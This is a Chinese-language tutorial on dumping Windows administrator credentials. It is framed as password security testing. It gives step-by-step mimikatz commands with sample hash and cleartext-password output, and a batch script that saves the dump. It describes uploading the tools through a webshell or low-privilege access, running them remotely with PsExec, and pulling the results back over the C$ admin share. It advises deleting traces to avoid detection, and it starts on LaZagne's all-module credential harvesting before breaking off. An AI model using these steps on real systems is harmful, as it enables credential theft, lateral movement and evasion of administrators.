目录
Windows密码安全性测试
一、本地管理员密码如何直接提取
需把读取管理员密码的工具上传到目标主机后(通过低权限账户访问、利用漏洞等)执行工具里的批处理脚本生成文本文件,下载文本文件获取到管理员密码。
1、直接通过mimikatz读取管理员密码
1.1使用【mimikatz】命令行工具提权:
正常情况下通过webshell上传【mimikatz】工具包,在运行批处理脚本生成读取管理员密码的文档。
此处先用命令行进行演示:
【mimikatz】放到C盘下,cmd切换到32位目录下运行mimikatz.exe:
运行步骤:
cmd切换到目录下:
cd C:\mimikatz\Win32
运行程序:
mimikatz.exe
提升权限privilege::debug:
mimikatz # privilege::debug
Privilege '20' OK
抓取密码sekurlsa::logonpassWords:
mimikatz # sekurlsa::logonpassWords
获取到密码:
输出结果:
Authentication Id : 0 ; 80142 (00000000:0001390e)
Session : Service from 0
User Name : Administrator
Domain : OLDBOY-F74D04FE
Logon Server : OLDBOY-F74D04FE
Logon Time : 2024-5-28 21:30:53
SID : S-1-5-21-919573472-2361006267-3082311417-500
msv :
[00000002] Primary
* Username : Administrator
* Domain : OLDBOY-F74D04FE
* LM : 44efce164ab921caaad3b435b51404ee
* NTLM : 32ed87bdb5fdc5e9cba88547376818d4
* SHA1 : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f
wdigest :
* Username : Administrator
* Domain : OLDBOY-F74D04FE
* Password : 123456
kerberos :
* Username : Administrator
* Domain : OLDBOY-F74D04FE
* Password : 123456
ssp :
credman :
批处理方式:
新建aaa.bat批处理文件并写入123.txt文件,批处理文件内容如下:
mimikatz.exe "privilege::debug" "sekurlsa::logonpassWords" exit>123.txt
远程获取目标主机密码大致方法:
准备阶段
选择合适的工具:选择一个适合提取密码的工具,如Mimikatz。确保该工具适用于目标系统的操作系统版本。
编写批处理脚本:创建一个批处理脚本(
passwords.bat
文件),用于自动化执行密码提取和结果保存过程。例如:mimikatz.exe privilege::debug sekurlsa::logonpasswords > passwords.txt
这段脚本首先提升Mimikatz的权限,然后执行密码提取命令,并将输出重定向到
passwords.txt
文件中。上传与执行
上传工具和脚本:使用您已有的访问权限(如低权限账户、已知漏洞等),将Mimikatz可执行文件和上述批处理脚本上传到目标主机。可以使用
copy
命令(通过命令行)、SCP、SMB共享或其他文件传输方法。执行批处理脚本:
通过远程桌面、PsExec、PowerShell Remoting或计划任务等方式,远程执行上传的批处理脚本。例如,如果脚本位于C:\temp\passwords.bat
,可以通过PsExec执行:
psexec \\target_ip -u low_privilege_user -p password C:\temp\passwords.bat
psexec
: 使用PsExec工具,这是一个轻量级的telnet-replacement,可以远程执行命令行程序。\\target_ip
: 指定目标计算机的IP地址。-u low_privilege_user -p password
: 分别指定了用于远程登录目标计算机的低权限用户名和密码。C:\temp\extract_passwords.bat
: 指定在目标计算机上要执行的批处理脚本的完整路径。下载结果
- 下载密码文件:一旦批处理脚本执行完成,会在指定位置生成包含密码信息的文本文件(在这个例子中是
passwords.txt
)。使用与上传时相同或类似的方法,将此文件下载回你的工作站进行分析。
copy \\target_ip\C$\temp\passwords.txt C:\local_download\
copy
: 这是Windows命令行中用于复制文件的命令。\\target_ip\C$
: 这部分指定了网络路径,其中\\target_ip
是目标计算机的IP地址,\C$
是Windows系统默认的管理员共享,允许你访问目标计算机的C盘根目录。这要求你有相应的网络访问权限和认证信息。temp\passwords.txt
: 表示在目标计算机C盘的temp
目录下名为passwords.txt
的文件,这是你要复制的源文件。C:\local_download\
: 这是目标路径,即你希望在本地计算机上存放复制文件的位置。请确保该目录事先存在,否则命令可能会失败。清理与报告
清理痕迹:为了减少被目标系统管理员发现的风险,考虑在操作完成后删除上传的工具、脚本和生成的密码文件。
分析与报告:在安全的环境中分析下载的密码文件,提取所需信息,并根据测试或审计需求准备相应的报告。
2、使用laZagne工具读取管理员密码
cmd里切换到目录:
cd C:\lan\lan2
运行:
laZagne.exe
-------
positional arguments:
{chats,svn,all,wifi,mails,windows,database,sysadmin,browsers}
Choose a main command
chats Run chats module #运行聊天模块
svn Run svn module #运行SVN版本控制系统模块
all Run all modules #运行所有模块
wifi Run wifi module #运行无线网络相关模块
mails Run mails module #运行邮件管理模块
windows Run windows module #运行针对Windows系统的模块
database Run database module #运行数据库操作模块
sysadmin Run sysadmin module #运行系统管理员相关模块
browsers Run browsers module #运行浏览器相关模块
使用所有模块:
laZagne.exe all
追加到1.txt:
laZagne.exe all >>1.txt
输出结果:
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================&#